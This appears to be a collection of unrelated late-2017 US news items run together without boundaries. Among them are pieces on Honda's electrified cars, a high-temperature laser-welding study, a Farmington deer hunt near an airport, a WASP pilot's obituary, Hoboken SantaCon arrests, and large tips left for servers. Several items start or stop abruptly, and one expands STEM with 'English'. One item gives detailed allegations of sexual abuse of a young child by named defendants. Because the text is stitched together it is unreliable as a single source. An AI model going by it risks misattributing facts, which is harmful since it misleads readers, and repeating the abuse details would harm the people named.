At the 2017 North American International Auto Show we announced our Honda Electrification Initiative with the intention to make two-thirds of Hondas global vehicle sales electrified vehicles by 2030. With the Insight launching later in 2018 as the fifth electrified vehicle brought to market over the past year, we're demonstrating our commitment to that goal. Henio Arcangeli, Jr., senior vice president of Automobile Sales and general manager of the Honda Division, American Honda Motor Co., Inc.

The Insightto be manufactured at Hondas Greensburg, Indiana plant, alongside Civic and CR-V using domestic and globally sourced parts  will join the Clarity series (Clarity Fuel Cell, Clarity Electric and Clarity Plug-in Hybrid) and the all-new 2018 Accord Hybrid, arriving at dealerships nationwide early next year.
The automotive industrys demand for high-performance AHS alloys has increased in recent years owing to increasingly stringent passenger safety, vehicle performance and fuel economy requirements. Characterized by improved formability and collision resilience compared to conventional steel grades, high-strength steels have been used in critical safety locations in car body structures to absorb energy from impacts.

A Brazilian researcher has developed an innovative method of laser welding at high temperatures that enhances the properties of advanced high-strength (AHS) steel for applications in the automotive and aerospace industries

However, some of these high-strength alloys tend to become brittle as a result of welding and may break when submitted to the hot stamping and forming required by many manufacturing processes.

This problem makes it impossible to use AHS steel not only in the automotive industry but also in other industries such as aerospace. Milton Sergio Fernandes de Lima, a researcher at the Brazilian Air Force Commands Institute for Advanced Studies (IEAv)

To address this issue, de Lima has developed an innovative method of high-temperature laser welding for AHS steel appropriate for aerospace applications. The results, obtained while de Lima was a visiting fellow at the Colorado School of Mines in the United States with support from the Sao Paulo Research Foundation (FAPESP), have now been published in Welding Journal.

The technique developed by de Lima consists of the induction heating of sheets of 22MnB5 steelthe most promising AHS grade for hot stamping and formingto approximately 450 C ten minutes before laser welding to equalize the temperatures. (22MnB5 is used in automobile structural and safety components; the very high mechanical strength of the final part makes it possible to achieve weight savings of 30% to 50% compared to conventional cold forming grades.)

The sheets are kept at a high temperature for another ten minutes after welding to produce a bainitic structure. Metallurgists have discovered that bainite, a plate-like microstructure that forms in steel under certain conditions, is the best candidate to produce tough and reliable weld joints. In particular, it displays high values for yield and tensile strengths.

Analysis showed that sheets welded at this high temperature contained bainite and were far tougher than sheets welded at room temperature, which contained martensite, a microconstituent with lower yield and tensile strengths than bainite.

Stress tests also demonstrated the resilience of sheets welded at high temperature.

Among the specific findings were that the as-welded room temperature (AT20) welds used as a baseline presented a microstructure composed of primary austenite dendrites, which transformed to martensite during cooling, and interdendritic ferrite. The interdendritic region was richer in ferrite stabilizing elements such as Al, Si, and Cr. The FZ hardness was about 600 HV and attained a maximum value of the 700 HV in the HAZ. The tensile tests showed a negligible ductility (1.3%) and a high tensile strength (1200 MPa) for these coupons.

High-temperature welding caused the samples to exhibit microstructures of bainite plus austenite grains.

The sample at 455 C had around 66% of bainite in an austenite matrix. The hardness in the FZ was 320 HV and attained a maximum of 390 HV in HAZ, representing about half of the AT20 values. The tensile tests showed a maximum elongation of 2.7% and a tensile strength of 840 MPa.

The sample at 529 C had around 33% of bainite in an austenite matrix. The reduction in the bainite percentage compared to HT455 is due to the cooling procedure because the undercooling temperature is too low. Additionally, this sample presented some coalesced bainite. The hardness in the FZ was 310 HV and attained a maximum of 320 HV in HAZ, which was similar to the original base material. The tensile tests showed a maximum elongation of 3.5% and a tensile strength of 650 MPa.

The proposed methodology attained the initially established objective of producing tough welds directly in the bainitic range, without the need of extra heat treatments. de Lima et al.

According to de Lima, the technique can easily be applied in manufacturing to improve laser welding of high-strength and ultra-high-strength steel.

The automotive industry uses laser welding to join steel blanks and stamped structural body parts such as pillars, beams, rails, frames, tunnels and bars faster and more reliably than with conventional welding.

In the aerospace industry, laser welding is used by aircraft manufacturers such as Boeing and Airbus, as well as some smaller European firms, to enhance weldment reliability in structures for aircraft, rockets, missiles, satellites, re-entry vehicles, antennas, onboard systems and drones.

Laser-welded structures in this industry have to be able to withstand high temperature and external pressure. Hence the need for very high levels of reliability. Milton de Lima

Although the studies are in the early stages, bainitic steel is expected to be an excellent material for shielding and armoring because of its high capacity to absorb mechanical energy, he added.

Many materials developed by the aerospace industry have never flown because they fail to meet the industrys necessarily high-reliability requirements. But byproducts of these materials may have applications and be easily introduced in other areas, such as the automotive industry. Milton de Lima

de Lima is currently engaged in a project, also supported by FAPESP, to prove the feasibility of his technique in Brazil and use it for laser welding of maraging steel, an essential ingredient in Brazilian rocket and missile engines.

Resources
As part of a research project into e-mobility and Vehicle to Grid (V2G) charging in Slovakia, a Tritium Veefil-RT 50kW DC fast charger has been installed at the Slovak Academy of Sciences in Bratislava.

ZEROEMISSION, Tritiums distributor in the region, has joined with Nissan Sales Central & Eastern Europe and the Slovak Academy of Sciences in the project, which is looking at how to implement the most innovative charging solutions across the country.

Last week, Tritium announced that it has supplied all the fast chargers for the Belgium stage of the European Unions UNIT-E fast-charging network. The Belgium phase of the project, led by major energy supplier, EDF Luminus, has seen the installation of 25 Tritium Veefil-RT 50kW fast chargers across the country, completing a fast charging corridor connecting France, Belgium and Netherlands.

All the Veefil-RT chargers are positioned along the Belgium motorway system, linking the countrys major cities. The Belgium section of the network was officially launched on 11 December 2017.
The Farmington City Council approved a special session of bow deer hunting during their regular session meeting on Monday.

The council met just four days after their last session due to the fourth Monday falling on Christmas Day.

An increase in the deer population in the area of the Farmington Regional Airport led the city to begin exploring the possibility.

An aircraft struck a deer during landing a few years ago. Fortunately, there were no injuries.

However, recently more deer have been spotted around the runway area. Most recently, airport personnel saw three running down the length of the runway and leading the city to take the action.

Were beginning to have enough deer population out there that pilots are beginning to express concern to us, said City Administrator Greg Beavers, and weve observed a lot of deer on the runway and just off of the runway.

The bow hunting season runs through Jan. 15. Using the Missouri Department of Conservation regulations, the city is holding a lottery for 12 hunters to be selected for the hunt.

They can go in and harvest as many deer as they can under the (Department of Conservation) regulations, which mean  basically for antlerless deer  its unlimited with your bow  you just have to buy a separate tag each time, Beavers said.

The city is asking those selected hunters to report how many are harvested in the hunt.

Beavers said the city will keep an eye on the deer population during the next year and speak with the department about the possibility of holding a longer season next year  perhaps gearing that session to harvesting a certain number of deer to control the population.

Those interested in participating in the harvest can begin registering at 10 a.m. today at the Farmington Civic Center. Individuals must be 11 years old by Dec. 22 to apply. Mentors may accompany youth hunters.

Parks and Recreation Director Chris Conway said interested hunters can register beginning at 10 a.m., up until the facility closes at 9 p.m. Registration opens again on Wednesday morning and runs until 10 a.m., with 12 names drawn for the hunt at that time.

Those selected for the special session will be contacted by the city.

In other business, the council approved an amendment to the municipal code regarding minimum regulations for design, construction and maintenance, as well as an ordinance requesting annexation into the city limits for a property on Keisha Lane.

Council held a first reading by title only on an ordinance establishing an open container ordinance in the citys alcohol-related traffic ordinance violations. Presently, there is no regulation against a driver or passenger in a motor vehicle with open containers.

During the meeting, it was explained the city prosecutor Julie McCarver asked the ordinance banning open containers in vehicles be developed to address the issue. It was explained passengers in recreational vehicles such as those used by local wineries would be exempt.

Council will take action on the ordinance at the Jan. 11 meeting.

The council also heard a presentation from Nancy Cozean Jacobs and Ann Boes on the Lab:Revolution  a 4-H Group meeting at The Factory in Farmington fostering young minds interested in the development of technology.

The group was founded in 2014 with a focus on robotics, electronics, programming, 3D printing and other hands-on STEM (Science, Technology, English, Math) projects. The group is open to all youth and families in the Parkland.

Read more about the program in a future edition of the Daily Journal and Farmington Press.

Also at the meeting, Mayor Larry Forsythe read a proclamation declaring the Dogwood tree as the official tree, the Dogwood flower as the official flower and the Cardinal as the official bird for Farmington. The selections were made through a readers poll held by the Farmington Press this summer.

The council next meets for regular session on Jan. 11.
Dec. 19, 1998

President Bill Clinton was impeached for perjury and obstruction of justice after 14 hours of debate by the Republican-controlled House of Representatives. He subsequently was acquitted by the Senate, becoming the second president to be impeached. The House found he lied in testimony about his relationship with White House intern Monica Lewinsky, who was given immunity to testify. Lewinsky appeared before a grand jury, and on Aug. 17 Clinton testified, in which he contradicted what he said in a harassment case involving Paula Jones. On Oct. 8 the House authorized an impeachment inquiry and on Dec. 11 the House Judiciary Committee approved three articles of impeachment.
The North Carolina State Board of Elections received one incident report involving a party-appointed poll observer on Election Day, and seven more during one-stop early voting. Election officials were on high alert for unruly observers after the board received reports of more than a dozen conduct violations during the May primary. Overall, the board received reports of 21 conduct violations during the general election, involving both observers and campaigners. They included 12 instances of alleged voter intimidation, one instance of possible voter interference and eight instances of potential election official intimidation. Campaigners were the most common perpetrators. Board spokesperson Patrick Gannon said there may be additional incidents that have not yet been reported.
WINSTON-SALEM  The old bird flew south for the winter.

And of all places, this C-54 stopped off in Winston-Salem and has for the last four years.

Tim Chopp, president of the Berlin Airlift Historical Foundation, is appreciative of the southern hospitality hes received from the people at Smith Reynolds Airport.

Hurricane Sandy damaged the hangar we used in Brooklyn, N.Y., five years ago, Chopp said on the tarmac. Winston-Salem is far enough south where we can make the repairs on the plane to get it ready for its inspection.

The old cargo plane touched down Monday afternoon for months of those repairs. Chopp said the plane will leave the area in late March or early April before traveling to 20 different air shows around the country.

The Douglas C-54 was used during the Berlin Airlift between 1948 and 1949  part of an American-led effort to fly food and other necessities into East Germany. More than 300 of the planes made the daily trips.

The Spirit of Freedom is one of five C-54s actively flying. Two of those planes are based in the United States.

On Monday, dozens of airport workers stopped to get a glimpse of the 94-foot-long cargo plane as it taxied along the runway.

The attention remained despite the New England Patriots team plane landing and parking near it. Even the crew from the Patriots Boeing 767 stopped by to get pictures and tour the plane.

Once the engines of the C-54 stopped, Chopp climbed out from the back of the plane down an orange and silver ladder. Thats when he spoke with some of the onlookers gathered below.

The joy is the challenge of flying the plane, but its also being able to keep the legacy going, said Chopp, who said the Berlin Airlift Historical Foundation purchased the Spirit of Freedom for $125,000 in 1992.

The interior has been transformed into a museum detailing the American role in the Berlin Airlift.

Thats something Reggie Powell knows very well.

Powell, 87, of Winston-Salem, entered the military just after World War II and right away became part of the Berlin Airlift. He wasnt a pilot, but he was responsible for keeping track of the repairs on radio equipment.

Im sure what he has on there now is nothing like what we had in 1948, said Powell, who stood on the tarmac, gazing at the plane. The Spirit of Freedoms image reflected in his glasses as he stood by his son, grandson and son-in-law.

When the crew stopped to talk to those standing around, Powell smiled.

Its always heartwarming for me to see this old plane, he said.
I read in your newspaper an article concerning police department workers facing charges of child abuse. Is it your policy to publish all accusations or charges against your employees or others employed by private corporations?

Why is it necessary to publish defaming, injurious accusations against those who have pledged to put their lives on the line prior to a complete investigation or start of a trial by their peers? Why is it that all the news media can see a video of a crime being committed, which clearly shows the perpetrator, and the criminals are always referred to as the alleged suspects?

Not all accusations are made by truthful persons and often lack reasonable, thorough investigation. I think often that it depends on how politically connected a person is as to whether they are charged or even investigated. As it was in the day of the crucifixion of Christ, so is it today. It appears those who have set their heart to live Godly are often persecuted, while those who dont care about their children or others are permitted to continue their ungodly life.

Larry Chandler

Greensboro
** Editor's note - The Daily Journal takes every step possible to not identify victims in sexual assault cases. Names and ages, along with any connections between the victim and attacker(s) are left as vague as possible to protect the identity of victims while still outlining the actions which led to the criminal charges. In this instance, however, due to the nature of the crimes and the relationship between the victim and one of the attackers the connection between the two has been listed.

A local woman and her boyfriend are being charged with several felonies for their involvement in allegedly sodomizing the woman's young daughter.

Shawn Lemons, 46, of Festus, is being charged with felony rape in the first degree and four counts of felony sodomy in the first degree.

Theresa Costello, 36, of Bonne Terre, is being charged with three counts of felony sodomy in the first degree.

According to a probable cause statement from the Bonne Terre Police Department, on Nov. 28, an officer from the department wrote a police report after receiving information from the Childrens Advocacy Center (CAC).

The report said it was believed both Costello and Lemons had committed several crimes at an apartment on W. School St. in Bonne Terre. According to the report he received from the CAC, a girl less than 10 years old was interviewed by a case worker.

The child was asked if she knew why she was being interviewed and she acknowledged that there were some horrible things that had happened to her. It was reported that Lemons took off his pants and underwear and chased the child around the residence .

The child told the case worker that Lemons wanted to have sex with her and said she had seen her mom and Lemons engaged in adult relations. The child said her mom made her have relations with Lemons.

It was also reported that Costello took her daughters hand and touched Lemons inappropriately with her hand while he had no pants on. The child also said Lemons forced her to have sexual intercourse and other relations.

The child said her mom, Costello, also did nasty things to her, too, indicating she forced sexual relations on her as well. She also told the case worker that Lemons tried to force her to perform other sexual acts.

She also said her mom would hold her hand while touching Lemons in a sexual manner. The girl said Lemons also took a picture of himself with a camera that prints out pictures and her mom made her look at the photo. Lemons also reportedly took pictures of the young girl while she was undressed.

Lemons in being held in the St. Francois County Jail on a $500,000 bond. Costello's bond was set at $250,000.
(U.S. Army photo by Sgt. Jim Greenhill)

United Technologies will pay more than $1 million after a U.S. Department of Justice investigation into whether the companys former Goodrich pump and engine controls division violated the federal False Claims Act.

Farmington-based United Technologies is among Connecticuts largest corporate employers, reporting $1.3 billion in net earnings in the second quarter. UTC acquired Goodrich in July 2012, and subsequently sold the unit in question to Triumph in 2013.
GREENWICH  Gloria Heath learned to fly as a young woman and fell in love with it.

When the United States entered World War II, Heath, along with 1,100 other strong-willed women, qualified to join the Women Airforce Service Pilots, or WASPs, ferrying aircraft, transporting personnel and assisting in training exercises.

Heath earned a Congressional Gold Medal in 2010 for her wartime service, the highest civilian award bestowed by Congress, following a long career in flight safety and navigation.

A longtime Greenwich resident, Heath died Dec. 16 at the age of 95.

Heath was born in New York City on May 7, 1922 to Royal Vale and Lillian Hart Heath. Her father was a businessman and amateur magician who created games and puzzles using math problems; her mother was an artist.

She attended the Putney School in Vermont and graduated from Smith College, where she was a star lacrosse player and the founder of the college flying club. She was encouraged to fly by her older brother, Royal.

Heath flew the Martin B-26 Marauder, a medium bomber, and the P-47 Thunderbolt fighter plane during the war years with the WASPs, from air bases in Idaho and Indiana. Women pilots were allowed into the aviation service as civilians, to free up male pilots for combat duties.

I loved to fly, Heath said of her WASP years.

It could be dangerous work, and 38 female pilots died flying in the the WASP program.

In an interview with this newspaper, Heath recalled a training mission that went awry. Fighter pilots were firing live ammunition against a target that she and another pilot were towing behind them, and a bullet smashed into Heaths cockpit from an errant shot at the target. The male pilot later lost his foot, Heath recalled.

The women pilots were not given veteran status until 1977, after a lengthy campaign in Washington.

Lucy Kennedy, whose mother was also a WASP pilot, said women like Heath were an inspiration to younger generations. They were really strong women. They were intelligent, and they wanted to serve. It was an elite group,  said Kennedy, a Greenwich resident, And they were in a male dominated field. A lot of guts.

After the war, Heath continued in the field of aviation and transportation, as well as working in the insurance business. She was a founding member of the Flight Safety Foundation, a non-profit organization that encourages aviation safety around the globe.

In 1965, she became the assistant director to the Cornell-Guggenheim Safety Center, and in 1968 she founded a search and rescue consulting company that advanced the effectiveness of locating distress signals on land, sea and air. Heath was an innovator in the use of acoustic beacons and satellite technology. She also served as the chairman of the International Academy for Astronautics Space Safety and Rescue Committee.

The late aviator was cited as one of 100 most influential women in aviation by a trade organization, Women in Aviation International, in 2001.

Heath told the Smith College alumnae magazine that her natural curiosity kept her seeking answers to the mysteries of aviation and space. Your interest carries you, she said, If youre interested, you can easily get to the forefront of a topic.

Heath moved to Greenwich in 1963.

Funeral arrangements were conducted privately by Coxe & Graziano Funeral Home. Memorial donations in her name may be directed to First Church of Christ Scientist, 11 Park Place, Greenwich.

rmarchant@greenwichtime.com
For many people who have left home and moved away, coming back can be an exciting moment, especially, if by all measures, you have succeeded in your field. Some may drive through town in an extravagant automobile, or they may be dressed to the nines ready to impress some family and friends.

For one Farmington High School graduate, Wednesday evenings homecoming was, by all accounts, a "mic drop" moment.

Early Wednesday evening, Army Captain Dennis Roper, a 2008 Farmington High School graduate, touched down at the Farmington Regional Airport. Dressed in his flight gear and pilots helmet, he stepped out of an AH-64D Apache attack helicopter that he had piloted from Fort Hood, Texas, and was greeted by a throng of family and friends.

This is something I definitely wanted to do my entire career. I got to bring one of my birds to my hometown, Roper said. It may almost be the pinnacle point in my career.

For at least an hour after arrival, Roper, along with his co-pilot, Chief Warrant Officer 02 Amanda Combs, talked to the small crowd that gathered about the Apache and their careers, as well as helped people climb up for a look in the cockpit to pose for photo ops.

For the most part, Roper and Combs were surprised by how many had turned out to say hello, shake their hands and take a look at one of the Army's most successful helicopters.

It was pretty surreal. We had a very good turnout, Roper said. I was just blown away to see how many friends and family came out. I was wishing I had more time to tell everyone, but thats the thing with an Apache. There are so many systems on this aircraft that could go wrong, I didnt want to disappoint anyone if we couldnt make it

Ropers visit to Farmington was not just so he could impress his family and friends. He and Combs were heading to back to their base in Fort Drum, New York, where the two are attached to the 110 Attack Reconnaissance Battalion 10th Combat Aviation Brigade 10th Mountain Division. They had left from Fort Hood Wednesday morning where they had picked the Apache up after its refitting.

Down in Fort Hood, Texas, there is something called a reset facility, Roper said. We had been in Iraq last year, and it got beat down pretty hard when it was overseas.

According to Roper, the facility tears the Apache down, cleans it and makes sure it is running properly again. Then they fly the chopper back to their home base.

Roper said he knew he wanted to be a pilot while still a student in Farmington. His inspiration  a very bad movie and a local businessman who was a pilot.

Flying was something I always wanted to do, Roper said. My brothers, Derek and Casey, were watching a movie, 'Firebirds,' one day. It was a really bad movie but inspired me to be a pilot.

Additionally, and more importantly, Roper and his brother were both inspired by Dave Taylor, the owner of Taylor Funeral Services, who was a local pilot and fueled their desire to fly.

Derek and I worked for Dave, and I would credit him for giving us the light to be a pilot, Roper said. We both flew with him and were hooked.

After graduation, Roper attended Lindenwood University in St. Charles, Missouri. While there, Roper and his brother began flying private planes out of St. Charles Regional Airport. Additionally, Roper joined the universitys ROTC program which led him into Army after graduation and his commission.

Upon graduation from Army Flight School, Roper picked the Apache as his aircraft of choice and has been flying the attack helicopter for the last five years.

Helicopters are a different beast, Roper said. We can hover. We can get low and snoop around the trees or we can sit down in a river and come to a full stop. It is a much different aspect of aviation compared to a fixed wing. There is something about doing 20/30 knots and just over the tree tops and sneaking up on the enemy. It is different type of thrill.

Before leaving Farmington on Thursday morning, Roper did not forget where everything all started  Farmington High School. As he headed toward New York, the former Knight took a slow methodical pass over Haile Memorial Stadium to say goodbye to the Knights who are still dreaming of their future.

This close to the end of the semester, were always hesitant to disrupt the regular schedule because we have so much going on academically, said Farmington High School Principal Dr. Nathan Hostetler. But when Captain Roper called and offered to do the approach, we had to say 'yes.'

"There will be days, 10 years from now, when the kids will no longer be able to remember any particular day, but this wont be one of them. The fact that Capt. Roper is a 2008 grad made the opportunity more appealing.
Whether youve followed the Star Wars franchise from the start or youre a new fan, theres no denying the lure of the series. Now the latest film in the franchise has arrived in theatres, and as a new generation of fans discover the rich characters and (mostly) well-developed plot, there are several lessons business leaders can take away from the film.

This story is filled with spoilers for The Last Jedi, so if you dont want to know what happens in the newest installment, read this after you've seen the movie.

Although the newer episodes in the Star Wars franchise have introduced us to younger characters, whats really attracted people is the reappearance of the original favorites -- primarily Han Solo, Princess Leia and Luke Skywalker.

The Last Jedi places the focus quite a bit on Luke, and reveals how he realized that his conflicted pupil, Kylo Ren, would use his training for evil. As fans watch Luke pass the lightsaber to the next generation of Force users, they can apply the lessons learned to their own professional lives.

Related: May the Force Be With You: 5 Takeaways for Entrepreneurs From the 'Star Wars' Franchise

The Greatest Teacher

At the start of The Last Jedi, Luke declines to train Rey, citing his failure with Kylo, who has turned to the dark side. The entire experience has left Luke disheartened to the point of anger. He can't let go of the past. Just as hes preparing to burn the Jedi tree, Yoda appears with very valuable wisdom, as always.

The greatest teacher, failure is, Yoda says, proceeding to burn the tree down anyway, while cackling with laughter the whole time.

Yodas lesson, along with the destroyed tree, fits with an underlying theme in The Last Jedi of destroying the past in order to make way for the future. Learn from past mistakes, and then let them go, moving onward and upward. Dont be the business owner who clings to old traditions or methods, keeping you from making progress or noticing new opportunities.

By taking risks and, yes, making mistakes, professionals can take their businesses and careers to a higher level.

Related: 3 Lessons About Mental Toughness You Can Learn From Yoda

Goodbye to a Hero

As with Han Solo in The Force Awakens, we see the death of Luke Skywalker in The Last Jedi. But we cant be sure well never see Luke in future episodes, since very powerful Jedi often don't actually die, but reemerge as "force ghosts." Just as Yoda reemerged in this chapter, so may Luke if Rey needs his help in the years to come.

Even though were sad to see our heros demise, the franchise has brought a new crop of young heroes that have their own unique backstories. Fans old and new are embracing these characters, mourning the deaths of old favorites while anticipating what will happen next.

Business leaders will inevitably find themselves working with a wide range of people throughout their careers. Whether its a departing employee or the loss of a valuable client, professionals must learn to say their goodbyes, then focus on forming and nurturing new relationships.

If a leader has a team, they know they must ensure new employees have a smooth transition, while departing employees leave on as much of high note as possible.

Related: New Star Wars Film Is a Marketing Force Brands Should Study

The Future Awaits

Fans now anticipate the next episode of the trilogy, due in 2019, especially with Leias reassurance that the rebellion can now rise again. There is a solid hero to root for in Rey, along with a cast of strong characters with plenty of stories to tell. With the death of beloved Carrie Fisher, fans also know theyve already lost Princess Leia, which means the next film will rely heavily on its newer cast. A great deal of time in The Last Jedi was dedicated to finalizing Lukes relationship with the series, but that time doubly served to set Kylo Ren up as the villain fans need him to be to keep future episodes enthralling.

The team behind Star Wars realizes that in order to continue to remain interesting, they must keep the magic of the original episodes, while adding the new energy that comes from fresh characters. Entrepreneurs can learn a lot here. Their businesses must often hold true to original core values while still remaining innovative.

When Walt Disney Studios bought Lucasfilm and took over the Star Wars franchise, the film distributor knew it was important to win new audiences while still meeting the expectations of longtime fans. Businesses can apply this approach to their own decisions as they attempt to offer new products without alienating existing customers. The truth is, fans of any good product will stay loyal and adapt to changes if you make them in the right way.

Related:

Star Wars: The Last Jedi Has Some Important Business Insights for Entrepreneurs

7 frases de Star Wars: The Last Jedi para inspirarte

May the Force Be With You: 5 Takeaways for Entrepreneurs From the 'Star Wars' Franchise



Copyright 2017 Entrepreneur.com Inc., All rights reserved



This article originally appeared on entrepreneur.com


Thumbs down to thefts by so-called porch pirates. A Sound Beach Avenue homeowner reported one such incident, which involved the theft of a parcel. With so many people doing their shopping online, thieves can easily track delivery trucks and swipe packages from entrances. Its an ugly trend that will likely get worse before it gets better. When possible, homeowners would be wise to track their packages and try to intercept their delivery before someone else does.

Thumbs up to Slowhand. Eric Clapton will headline the next edition of the Greenwich Town Party on May 26. Dont get any ideas about picking up some tickets as Christmas presents, though, since they arent scheduled to go on sale until April. Organizers deserve thumbs up of their own for turning the music festival into the towns signature event. Clapton wont be making his Greenwich debut, but it will be the first time most residents can see him in town. He last performed at an invitation-only benefit at the Belle Haven Club.

Thumbs up to Barbara Soroca, who will step down next month as CEO of the Stamford Symphony. Soroca deserves kudos for her work throughout her tenure, but earns a bonus one for her retirement plan. She is launching the Soroca Fund for American Music, which aims to bring more works by American composers to the concert stage. As if 40 years at the helm wasnt enough, Soroca is trying to remedy what she says as a shortcoming in the symphonys offerings  a dearth of American music. We look forward to her efforts to shake up the set list at the Palace Theatre.

Thumbs down to Peter Lamajs tone-deaf joke during a gubernatorial debate in Windsor. The Republican hopeful jested that Gov. Dannel P. Malloy responded to President Donald Trumps election by saying he hoped Lumaj would be deported back to his native Albania. Lumaj offered no apologies, saying he was clearly being sarcastic. Humor is welcome in most debates, but not fabrications. Lumaj, an immigration lawyer from Fairfield, needs a better joke-writer, along with a reality check that he is a stranger to most of his audiences on the campaign trail.

Thumbs up to the various parties who cooperate to keep the Shepaug Dam Bald Eagle Observation Area in Southbury viable for both people and the birds that come there to feed. Those parties notably include the New Milford-based FirstLight Power Resources, which owns and operates the dam. The electrical currents from the dams hydroelectric station, the largest one in Connecticut, break up the ice and give the eagles a place to feed as they migrate.

Thumbs down to poor communication from Metro-North while malfunctions left Saturday riders in limbo up to 80 minutes. Yes, a signal issue in Milford and a disabled train in Stamford are the kinds of challenges that happen (far more often than wed like), but theres no excuse for neglecting to make immediate announcements to people standing in the cold. Commuters in Noroton reported being in the dark for half an hour before hearing any announcements. There will certainly be more issues as the temperatures drop, so there will be opportunities for the railroad to improve its communication skills.

Thumbs up to Gov. Dannel P. Malloy for delivering the common-sense message that Connecticuts cities are the places where economic growth can take place, as long as they are nurtured. Speaking at a meeting of the states Commission on Fiscal Stability and Economic Growth, the governor rightly pointed out that many of the states more affluent suburban communities dont want growth. Combine that with a younger workforce that wants to work and live in a vibrant urban environment, and it makes sense to concentrate more effort and resources on the states cities.
Time to hang the Santa hat, guys. Photo: Stephanie Keith/Getty Images

New Yorkers, try to bury your drunk-Santa Schadenfreude: Midtown got buried in OppoSuits and projectile vomit last weekend, but those shenanigans didnt hold a mistletoe-scented candle to the horrors that occurred just across the Hudson this year. While Manhattans annual binge-a-thon seems to have resulted in merely one arrest, heres what 5,000 SantaCon-goers inflicted upon Hoboken residents this weekend during their 17 hours of merrymaking:

Hoboken police arrested 17 people during Saturdays SantaCon  The city flooded the streets with officers to handle the thousands of revelers clad in red suits.  Most of the arrests were for assault and disorderly conduct. A 22-year-old woman, who was arrested after being involved in a fight, also punched an officer in the face. She is now facing an aggravated assault charge. One person also spat in an officers face while being processed.

Hoboken police chief Ken Ferrante was so mortified by the lunacy that he livetweeted the arrests, posting updates, including most of the arrests, almost in real time. Heres just a sampling:

First 2 arrests released. 1) 26 yr old from Bloomfield, NJ, Obstructing the Admin of Law & Resisting Arrest. 2) 22 yr old from Middletown, NJ for Aggravated Assault, Resisting Arrest & Obstructing the Admin of Law. Both were arrested at 125 Washington St by Officer @MikeLosurdo  Chief Ken Ferrante, Ret. (@KenFerrante) December 16, 2017

We have another wave of officers hitting the @CityofHoboken streets at 4pm, and looking to add to the already 63 officers assigned on overtime. Over 2 dozen city ordinances already issued for open containers and urinating in public. 2 fight calls. Some will have a costly holiday.  Chief Ken Ferrante, Ret. (@KenFerrante) December 16, 2017

Female who was getting arrested for being involved in a fight, punched a Class2 @HobokenPD officer in the face. She is now facing a much stiffer charge of Aggravated Assault. How some try to paint this as a "CHARITABLE EVENT" is absolutely laughable.  Chief Ken Ferrante, Ret. (@KenFerrante) December 16, 2017

Arrest #6 was a 22 yr old female from Linden, NJ, for Aggravated Assault and Resisting Arrest. She was arrested by Officer Campoverde. She is the one who punched a Class2 Officer in the face.  Chief Ken Ferrante, Ret. (@KenFerrante) December 17, 2017

Arrest #7 was a 26 yr old female from Hewitt, NJ for Disorderly Conduct and Hindering Apprehension, arrested by Det. Perez. Arrest #8 was a 28 yr old male from Mahwah, NJ for Disorderly Conduct and Resisting Arrest. Arrested by Det. Perez. @HobokenPD  Chief Ken Ferrante, Ret. (@KenFerrante) December 17, 2017

Arrest #9 was a 27 yr old male from Mahwah, NJ, arrested for Aggravated Assault, Resisting Arrest and Disorderly Conduct. He was arrested by Det. @JoshVelez14 .  Chief Ken Ferrante, Ret. (@KenFerrante) December 17, 2017

With 4 arrests that occurred at TexasArizona for a fight,that takes our arrest total up to 14.Our City Ord number is up to approx 45. The nxt wave of POs to hit the streets will be addressed by me in 15 mins. We keep deploying waves of POs until we bring this day under control.  Chief Ken Ferrante, Ret. (@KenFerrante) December 17, 2017

Police eventually got the annual excuse for public intoxication under control, but Ferrante was just getting warmed up on Twitter. He spent the next few hours posting important factoids about Hoboken SantaCon 2017  like that it was HPDs single craziest day in the last five years  even picking up on Sunday where hed left off the night before:

I am extremely proud of the work of the men and women of the @HobokenPD who handled possibly our busiest day in approx 5 years with absolute professionalism and dedication to their positions and to our @CityofHoboken residents and visitors.  Chief Ken Ferrante, Ret. (@KenFerrante) December 17, 2017

There was 1 report of sexual contact. There were no complaints made against police officers who were challenged from 11am thru 4am. Officers made 17 arrests, issued close to 100 summonses knowing cameras were on them, but needing to proactively keep order professionally!  Chief Ken Ferrante, Ret. (@KenFerrante) December 17, 2017

The @HobokenPD made 17 custodial arrests for crimes varying from Aggravated Assault & resisting arrest to simple assault & drug possession. 55 people were taken to @CityofHoboken University Medical Center/CarePoint by ambulance throughout the day which is as staggering number.  Chief Ken Ferrante, Ret. (@KenFerrante) December 17, 2017
One groups $500 tip, left for a server in Maine.

Surprise: Heres some news to make you feel all warm and fuzzy about the world, even if only for a fleeting moment. In the past few days, Americans have really been getting into the true holiday spirit  theyre leaving servers generous tips and heartfelt messages of thanks, as opposed to wielding gratuity as a way to bash hardworking individuals who might have different politics.

At a diner near Seattle this weekend, a regular customer left a tip that mathematically works out to about 7,600 percent: Dwayne Clark, a local businessman ABC News says has been eating at Brief Encounter for eight years, left the restaurants 12-person staff $3,000 on his $39 meal. He also scribbled a note on the back of his receipt that said, You guys do a great job! When I was 7, I washed dishes and my mom cooked in a diner like this, we were dirt poor and didnt have money for Christmas. Hopefully, this will help all of you have a better Christmas.

Then apparently in Michigan yesterday, a guy at a Kalamazoo restaurant gave a server an envelope in which he and nine friends had each stuffed $100. He claims his group asked for the orneriest waitress you have, which the Theo & Stacys host apparently refused to do: She gave them Mary Lively, a 24-year veteran employee they quickly deemed kind and the right person for this. She was presented with the $1,000 envelope  the biggest tip of her life  at the conclusion of their $70 meal, and she says itll go toward her car payment and gift-buying. Per Detroits CBS affiliate, they picked that restaurant because its always doing wonderful things for the community, like feeding the homeless at Thanksgiving and Christmas, so why not do something for their staff.

Meanwhile, CBS News brings the story of single mom Trisha Murphy, over in Ellsworth, Maine. Murphy is a Dennys waitress who works 50-to-60-hour weeks on top of 18 hours of nursing school each week. Shes got Christmas coming up for her four kids  ages 6, 9, 11, and 13  and also has to pay $735 to get back her towed car.

On Saturday, her holiday situation improved vastly after getting a table of three men. They kept inquiring about her Christmas plans, and one of them insisted, semi-creepily, that hed come to play Santa. But once Murphy cashed them out, she discovered a $500 tip on their $38 check.

Yesterday morning, I was so stressed I could barely function. Most of my Christmas shopping wasn't done, my car got... Posted by Trisha Pinkham on Sunday, December 17, 2017

I dont know this mans name, she wrote in a Facebook post thats been shared over a thousand times, but I hope he realizes that he literally saved Christmas for my children and I! Good people do still exist.
Two guys owning Obama with a cookie. Photo: donaldjtrumpjr/Instagram

Yesterday, the presidents son Instagrammed several pics of himself looking super stoked by a cookie that mocked Obamas Hope poster. Some good friends decided that while my birthday is not for 2 weeks that they would get me an early 40th birthday cake, his caption read. And what birthday is complete without an Obama cake?

